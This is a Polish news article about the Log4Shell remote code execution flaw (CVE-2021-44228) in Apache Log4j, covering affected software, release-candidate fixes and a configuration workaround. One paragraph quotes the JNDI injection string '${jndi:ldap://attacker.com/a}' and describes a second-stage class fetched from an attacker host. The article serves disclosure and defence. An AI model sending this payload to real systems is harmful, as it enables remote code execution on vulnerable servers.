Katastrofalna luka w Apache Log4j wpływająca na wiele projektów Java

W Apache Log4j, popularnym frameworku do organizowania logowania w aplikacjach Java, zidentyfikowano krytyczną lukę, która umożliwia wykonanie dowolnego kodu po zapisaniu do dziennika specjalnie sformatowanej wartości w formacie „{jndi:URL}”. Atak może zostać przeprowadzony na aplikacje Java logujące wartości otrzymane ze źródeł zewnętrznych, np. podczas wyświetlania problematycznych wartości w komunikatach o błędach.

Należy zauważyć, że problem dotyczy prawie wszystkich projektów wykorzystujących frameworki takie jak Apache Struts, Apache Solr, Apache Druid lub Apache Flink, w tym klienci i serwery Steam, Apple iCloud, Minecraft. Oczekuje się, że luka może wywołać falę masowych ataków na aplikacje korporacyjne, powtarzając historię krytycznych luk w frameworku Apache Struts, który według przybliżonych szacunków jest wykorzystywany w aplikacjach internetowych przez 65% Fortune 100 firm, łącznie z próbami przeskanowania sieci w poszukiwaniu podatnych na ataki systemów.

Problem pogłębia fakt, że opublikowano już działający exploit, ale nie skompilowano jeszcze poprawek dla stabilnych gałęzi. Identyfikator CVE nie został jeszcze przypisany. Poprawka jest zawarta tylko w gałęzi testowej log4j-2.15.0-rc1. W celu obejścia problemu blokowania luki zaleca się ustawienie parametru log4j2.formatMsgNoLookups na wartość true.

Problem wynikał z faktu, że log4j obsługuje przetwarzanie specjalnych masek „{}” w liniach wyjściowych do logu, w których można było wykonywać zapytania JNDI (Java Naming and Directory Interface). Atak sprowadza się do przekazania ciągu znaków z podstawieniem „${jndi:ldap://attacker.com/a}”, po przetworzeniu którego log4j wyśle ​​żądanie LDAP o ścieżkę do klasy Java do serwera atakującego.com . Ścieżka zwrócona przez serwer atakującego (na przykład http:// Second-stage.attacker.com/Exploit.class) zostanie załadowana i wykonana w kontekście bieżącego procesu, co umożliwia atakującemu wykonanie dowolnego kodu na systemu z uprawnieniami bieżącej aplikacji.

Dodatek 1: Luka ma przypisany identyfikator CVE-2021-44228.

Dodatek 2: Zidentyfikowano sposób na ominięcie zabezpieczeń dodanych w wydaniu log4j-2.15.0-rc1. Zaproponowano nową aktualizację log4j-2.15.0-rc2 z pełniejszą ochroną przed luką. Kod podkreśla zmianę związaną z brakiem nieprawidłowego zakończenia w przypadku użycia niepoprawnie sformatowanego adresu URL JNDI.

Źródło: opennet.ru

Dodaj komentarz